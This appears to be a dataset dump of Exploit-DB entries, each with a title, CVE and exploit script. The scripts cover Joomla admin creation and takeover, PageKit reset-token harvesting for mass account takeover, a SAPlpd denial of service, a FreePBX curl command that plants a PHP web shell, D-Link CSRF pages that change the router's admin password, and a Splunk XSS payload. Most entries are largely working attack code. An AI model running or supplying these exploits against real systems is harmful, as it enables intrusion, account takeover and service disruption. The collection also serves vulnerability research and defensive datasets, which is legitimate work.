QLWD/code_shield huggingface dataset:
标题: Joomla! < 2.5.2 - Admin Creation EDB-ID: 41156 CVE: 2012-1563 类型: WEBAPPS 平台: PHP 发布日期: 2017-01-20 漏洞利用脚本: #!/usr/bin/python3
# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution

import bs4
import requests
import random


url = 'http://vmweb.lan/joomla-cms-2.5.2/'
form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'groups][': '7'
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[groups][]']
response = session.post(action_url, data=data)

print("Account created for user: %s [%s]" % (username, email)) URL: https://www.exploit-db.com/exploits/41156
标题: Joomla! < 3.6.4 - Admin Takeover EDB-ID: 41157 CVE: 2016-9838 类型: WEBAPPS 平台: PHP 发布日期: 2017-01-20 漏洞利用脚本: #!/usr/bin/python3
# CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution

import bs4
import requests
import random


ADMIN_ID = 384
url = 'http://vmweb.lan/Joomla-3.6.4/'

form_url = url + 'index.php/component/users/?view=registration'
action_url = url + 'index.php/component/users/?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'id': '%d' % ADMIN_ID
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[id]']
response = session.post(action_url, data=data)

print("Account modified to user: %s [%s]" % (username, email)) URL: https://www.exploit-db.com/exploits/41157
标题: PageKit 1.0.10 - Password Reset EDB-ID: 41143 CVE: 2017-5594 类型: WEBAPPS 平台: PHP 发布日期: 2017-01-21 漏洞利用脚本: # Exploit Title: Remote PageKit Password Reset Vulnerability
# Date:21-01-2017
# Software Link: http://pagekit.com/
# Exploit Author: Saurabh Banawar from SecureLayer7

# Contact: http://twitter.com/securelayer7
# Website: https://securelayer7.net
# Category: webapps

1. Description

Anyremote user can reset the password by reading the debug log, the exploit
can be successfully executed, if the debug option is enabled in the Pagekit
CMS.

CMS Pentest report can be found here:https://securelayer7.net/
download/pdf/SecureLayer7-Pentest-report-Pagekit-CMS.pdf


2. Proof of Concept

require 'net/http'

#Enter the domain/IP address of the site for which you want to test this vulnerability
vulnerableSite = 'http://127.0.0.1'

loopCount = 0
while loopCount == 0


#We request the Login page which has the debug parameter
url = URI.parse(vulnerableSite + '/pagekit/index.php/user/login')
request = Net::HTTP::Get.new(url.to_s)
resp = Net::HTTP.start(url.host, url.port) {|http|
http.request(request)
}

#The response is received and is sent to many regular expression to find the value of _debug parameter from its HTML source code
bodyOfResponse =  resp.body
myArray1 = bodyOfResponse.split(/"current":"/)
outputOfMyArray1 = myArray1[1]
myArray2 = outputOfMyArray1.split(/"};/)
theSecret = myArray2[0]
puts ""
puts "The secret token to debug link is: #{theSecret}"
puts ""
url = URI.parse(vulnerableSite + '/pagekit/index.php/_debugbar/' + theSecret)
request = Net::HTTP::Get.new(url.to_s)
resp = Net::HTTP.start(url.host, url.port) {|http|
http.request(request)
}

resp.body

initial = resp.body

#The count of number of victim users is found out
 users = initial.scan(/user=.+?(?=")/)
 c =  users.count
 e = c.to_i
 
#If the count is 0 then we continuosly monitor it
 if c == 0 then puts "Currently no user has clicked on reset password like."
 
 puts ""
 puts "Trying again..."
 puts ""
 puts ""
 
#If the count is greater than 0 then it means we found a victim. So, find the password reset link and display it in the console
 else
 
 link1 = vulnerableSite + "/pagekit/index.php/user/resetpassword/confirm?user="
 link2 = "&key="
 i = 0
  while i<e
 securityToken = ''
    a = real[i]
 b = a.split('=')
 c = b[1]
 d = c.split('\\')
 victimUserName = d[0]
 puts "The victim is: #{victimUserName}"
 f = b[2]
 securityToken = f.scan(/[^\\]/)
 securityTokenFiltered = securityToken.join
 puts "The security token of victim is: #{securityTokenFiltered}"
 puts "Link for account takeover"
 puts "#{link1}#{victimUserName}#{link2}#{securityTokenFiltered}"
 puts ""
 puts ""
 i += 1
 end
 
 
 end
 
 # This loop runs forever because we want to continuosly monitor who is requesting a password reset and who has clicked on the link so that
 # we can perform mass account takeovers
 end
 
 

3. Solution:

Update to version 1.0.11
https://github.com/pagekit/pagekit/releases/tag/1.0.11 URL: https://www.exploit-db.com/exploits/41143
标题: VideoLAN VLC Media Player 2.2.1 - 'DecodeAdpcmImaQT' Buffer Overflow EDB-ID: 41025 CVE: 2016-5108 类型: DOS 平台: WINDOWS 发布日期: 2016-05-27 漏洞利用脚本: In modules/codec/adpcm.c, VLC can be made to perform an out-of-bounds
write with user-controlled input.

The function DecodeAdpcmImaQT at adpcm.c:595 allocates a buffer which
is filled with bytes from the input stream. However, it does not check
that the number of channels in the input stream is less than or equal
to the size of the buffer, resulting in an out-of-bounds write. The
number of channels is clamped at <= 5.

adpcm_ima_wav_channel_t channel[2];
...
for( i_ch = 0; i_ch < p_dec->fmt_in.audio.i_channels; i_ch++ )
{
    channel[i_ch].i_predictor  = (int16_t)((( ( p_buffer[0] << 1 )|(
p_buffer[1] >> 7 ) ))<<7);
    channel[i_ch].i_step_index = p_buffer[1]&0x7f;
...

The mangling of the input p_buffer above and in
AdpcmImaWavExpandNibble() makes this difficult to exploit, but there
is a potential for remote code execution via a malicious media file.

POC:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41025.mov URL: https://www.exploit-db.com/exploits/41025
标题: SapLPD 7.40 - Denial of Service EDB-ID: 41030 CVE: 2016-10079 类型: DOS 平台: WINDOWS 发布日期: 2016-12-28 漏洞利用脚本: # Exploit Title: SAPlpd 7.40 Denial of Service
# Date: 2016-12-28
# Exploit Author: Peter Baris
# Exploit code: http://saptech-erp.com.au/resources/saplpd_dos.zip
# Version: 7.40 all patch levels (as a part of SAPGui 7.40)  
# Tested on: Windows Server 2008 R2 x64, Windows 7 Pro x64


import socket

# Opcodes 03h and 04h are vulnerable to bad characters 00h and 0ah
# So you can modify the DoS accordingly
# The added 800 A's are just to show, that you can deliver a complete shell with the command

DoS = ("\x03"+"\x0a"+"\x41"*800)


s = socket.socket()
s.settimeout(1)
s.connect(('192.168.198.132', 515))
print("[*] Crashing SAPlpd 7.40")
print("[*] Payload length: "+str(len(DoS))+" bytes")
s.send(DoS)
s.close() URL: https://www.exploit-db.com/exploits/41030
标题: Adobe Flash Player 24.0.0.186 - 'ActionGetURL2' Out-of-Bounds Memory Corruption (2) EDB-ID: 41012 CVE: 2017-2930 类型: DOS 平台: MULTIPLE 发布日期: 2017-01-11 漏洞利用脚本: Source: https://cosig.gouv.qc.ca/en/cosig-2017-01-en/

#####################################################################################

# Application: Adobe Flash Player
# Platforms: Windows,OSX
# Versions: 24.0.0.186 and earlier
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: January 10, 2017
# CVE-2017-2930
# COSIG-2016-35

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================

Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created
on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio.
Flash Player can run from a web browser as a browser plug-in or on supported mobile devices.[7] Flash Player was created by Macromedia
and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.

(https://en.wikipedia.org/wiki/Adobe_Flash_Player)

#####################################################################################

============================
2) Rapport de Coordination
============================

2016-11-13: Francis Provencher of COSIG report this vulnerability to Adobe PSIRT;
2016-11-14: Adobe PSIRT confirm this vulnerability;
2017-01-10: Adobe publish a patch (APSB17-02);
2017-01-10: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================

The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
visiting a Web page or open a specially crafted SWF file, an attacker is able to create an “out of bound” memory corruption. A file with an “ActionRecord”
structure that contain an invalid value in “ActionGetURL2” could lead to remote code execution in the context of the current user.

#####################################################################################

===========
4) POC:
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2017/01/COSIG-2017-01.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41012.zip

#################################################################################### URL: https://www.exploit-db.com/exploits/41012
标题: Adobe Flash Player 24.0.0.186 - 'ActionGetURL2' Out-of-Bounds Memory Corruption (1) EDB-ID: 41008 CVE: 2017-2930 类型: DOS 平台: MULTIPLE 发布日期: 2017-01-11 漏洞利用脚本: Source: https://cosig.gouv.qc.ca/en/cosig-2017-01-en/

#####################################################################################

# Application: Adobe Flash Player
# Platforms: Windows,OSX
# Versions: 24.0.0.186 and earlier
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: January 10, 2017
# CVE-2017-2930
# COSIG-2016-35

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================

Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created
on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio.
Flash Player can run from a web browser as a browser plug-in or on supported mobile devices.[7] Flash Player was created by Macromedia
and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.

(https://en.wikipedia.org/wiki/Adobe_Flash_Player)

#####################################################################################

============================
2) Rapport de Coordination
============================

2016-11-13: Francis Provencher of COSIG report this vulnerability to Adobe PSIRT;
2016-11-14: Adobe PSIRT confirm this vulnerability;
2017-01-10: Adobe publish a patch (APSB17-02);
2017-01-10: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================

The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
visiting a Web page or open a specially crafted SWF file, an attacker is able to create an “out of bound” memory corruption. A file with an “ActionRecord”
structure that contain an invalid value in “ActionGetURL2” could lead to remote code execution in the context of the current user.

#####################################################################################

===========
4) POC:
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2017/01/COSIG-2017-01.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41008.zip

#################################################################################### URL: https://www.exploit-db.com/exploits/41008
标题: Freepbx < 2.11.1.5 - Remote Code Execution EDB-ID: 41005 CVE: 2014-7235 类型: WEBAPPS 平台: PHP 发布日期: 2016-12-23 漏洞利用脚本: Exploit Title: Freepbx coockie recordings injection
Google Dork: Ask Santa
Date: 23/12/2016
Exploit Author: inj3ctor3
Vendor Homepage: https://www.freepbx.org/
Software Link: ISO LINKS IN SITE https://www.freepbx.org/
Version: ALL && unpatched/ (Trixbox/freepbx/elastix/pbxinflash/)
Tested on: Centos 6
CVE : CVE-2014-7235

1. Description

a critical Zero-Day Remote Code Execution and Privilege Escalation 
exploit within the legacy “FreePBX ARI Framework module/Asterisk 
Recording Interface (ARI)”.
htdocs_ari/includes/login.php in the ARI Framework module/Asterisk Recording Interface (ARI) in FreePBX before 2.9.0.9, 2.10.x, 
and 2.11 before 2.11.1.5 allows remote attackers to execute arbitrary code via the ari_auth coockie, 
related to the PHP unserialize function

<?php
.....
...
line 56 $buf = unserialize(stripslashes($_COOKIE['ari_auth']));
 line 57 list($data,$chksum) = $buf;
....
?>

A successful attack may compromise the whole system aiding the hacker to gain

further privileges via taking advantage of famous nmap shell 

without further or do this is a poc code

curl -ks -m20 http://127.0.0.1/recordings/index.php" --cookie "ari_lang=() { :;};php -r 'set_time_limit(0);unlink("page.framework.php");file_put_contents("misc/audio.php", "<?php if(\$_COOKIE[\"lang\"]) {system(\$_COOKIE[\"lang\"]);}die();?>");';ari_auth=O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}};elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0" --data "username=admin&password=admin&submit=btnSubmit" >/dev/null

if curl -ks -m10 "http://127.0.0.1/recordings/misc/audio.php" --cookie "lang=id" | grep asterisk >/dev/null;then echo "127.0.0.1/recordings/misc/audio.php" | tee -a xploited_new.txt;fi URL: https://www.exploit-db.com/exploits/41005
标题: Microsoft Edge (Windows 10) - 'chakra.dll' Information Leak / Type Confusion Remote Code Execution EDB-ID: 40990 CVE: 2016-7200 2016-7201 类型: REMOTE 平台: WINDOWS 发布日期: 2017-01-05 漏洞利用脚本: Source: https://github.com/theori-io/chakra-2016-11

Proofs of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40990.zip


chakra.dll Info Leak + Type Confusion for RCE

Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201)

Tested on Windows 10 Edge (modern.ie stable).

FillFromPrototypes_TypeConfusion.html: WinExec notepad.exe

FillFromPrototypes_TypeConfusion_NoSC.html: 0xcc (INT 3)

To run:

Download exploit/FillFromPrototypes_TypeConfusion.html to a directory.
Serve the directory using a webserver (or python's simple HTTP server).
Browse with a victim IE to FillFromPrototypes_TypeConfusion.html. URL: https://www.exploit-db.com/exploits/40990
标题: Splunk 6.1.1 - 'Referer' Header Cross-Site Scripting EDB-ID: 40997 CVE: 2014-8380 类型: WEBAPPS 平台: PHP 发布日期: 2017-01-07 漏洞利用脚本: # Exploit Title: Splunk 'Referer' Header Cross Site Scripting Vulnerability
# Date: 7th January 2017
# Exploit Author: justpentest
# Vendor Homepage: http://www.splunk.com/
# Version: Splunk 6.1.1 other versions may also be affected.
# Contact: transform2secure@gmail.com


Source: https://www.securityfocus.com/bid/67655/info
 
1) Description:
Splunk is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
2) Exploit:
 
URL: http://justpentest.com:8000/en-US/app/
 
GET /en-US/app/ HTTP/1.1
Host=justpentest.com:8000
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=javascript:prompt("XXS by justpentest");
Connection=keep-alive
----------------------------------------------------------------------------------------
Response:
 <p>This page was linked to from <a href="javascript:prompt("XXS by justpentest");">javascript:prompt("XXS by justpentest");</a>.</p> URL: https://www.exploit-db.com/exploits/40997
标题: D-Link DI-524 - Cross-Site Request Forgery EDB-ID: 40983 CVE: 2017-5633 类型: WEBAPPS 平台: HARDWARE 发布日期: 2016-12-09 漏洞利用脚本: Title: D-Link DI-524 - Cross-Site-Request-Forgery Vulnerability
Credit: Felipe Soares de Souza
Date: 09/12/2016
Vendor: D-Link
Product: D-Link DI-524 Wireless 150
Product link: https://dlink.com.br/produto/di-524150
Version: Firmware 9.01


1- Reboot the device
 <html>
  <head>
   <title>CSRF - Reboot the device</title>
  </head>
  <body>
   <iframe width="1" height="1" src="http://192.168.0.1/cgi-bin/dial?rc=@&A=H&M=0&T=2000&rd=status"> </iframe>
  </body>
 </html>


2- Change admin account

 <html>
  <head>
   <title>CSRF - Change admin account</title>
  </head>
  <body>
   <form method="POST" action="http://192.168.1.1/cgi-bin/pass">
    <input type="hidden" name="rc" value="@atbox">
    <input type="hidden" name="Pa" value="attacker">
    <input type="hidden" name="p1" value="attacker">
   </form>

   <script type="text/javascript">
    document.forms[0].submit();
   </script>
  </body>
 </html> URL: https://www.exploit-db.com/exploits/40983
标题: Wampserver 3.0.6 - Insecure File Permissions Privilege Escalation EDB-ID: 40967 CVE: 2016-10031 类型: LOCAL 平台: WINDOWS 发布日期: 2016-12-26 漏洞利用脚本: =====================================================
# Vendor Homepage: http://www.wampserver.com/
# Date: 10 Dec 2016
# Version : Wampserver 3.0.6 32 bit x86
# Tested on: Windows 7 Ultimate SP1 (EN)
# Author: Heliand Dema
# Contact: heliand@cyber.al
=====================================================
 
Wampserver installs two services called 'wampapache' and 'wampmysqld'
with weak file permission running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local user
to execute arbitrary code with elevated privileges on the system.

C:\>sc qc wampapache
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wampapache
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   :
"c:\wamp\bin\apache\apache2.4.23\bin\httpd.exe" -k runservice
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : wampapache
        DEPENDENCIES       : Tcpip
                           : Afd
        SERVICE_START_NAME : LocalSystem



PS C:\> icacls c:\wamp\bin\apache\apache2.4.23\bin\httpd.exe
c:\wamp\bin\apache\apache2.4.23\bin\httpd.exe
BUILTIN\Administrators:(I)(F)                    <--- Full Acces
                                              NT AUTHORITY\SYSTEM:(I)(F)
                                              BUILTIN\Users:(I)(RX)
                                              NT AUTHORITY\Authenticated
Users:(I)(M)           <--- Modify


C:\Windows\system32>sc qc wampmysqld
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wampmysqld
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   :
c:\wamp\bin\mysql\mysql5.7.14\bin\mysqld.exe wampmysqld
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : wampmysqld
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


PS C:\> icacls  c:\wamp\bin\mysql\mysql5.7.14\bin\mysqld.exe
c:\wamp\bin\mysql\mysql5.7.14\bin\mysqld.exe
BUILTIN\Administrators:(I)(F)                <--- Full Acces
                                             NT AUTHORITY\SYSTEM:(I)(F)
                                             BUILTIN\Users:(I)(RX)
                                             NT AUTHORITY\Authenticated
Users:(I)(M)       <--- Modify


Notice the line: NT AUTHORITY\Authenticated Users:(I)(M) which lists the
permissions for authenticated however unprivileged users. The (M) stands
for Modify, which grants us, as an unprivileged user, the ability to
read, write and delete files and subfolders within this folder.


====Proof-of-Concept====

To properly exploit this vulnerability, the local attacker must insert
an executable file called mysqld.exe or httpd.exe and replace the
original files. Next time service starts the malicious file will get
executed as SYSTEM. URL: https://www.exploit-db.com/exploits/40967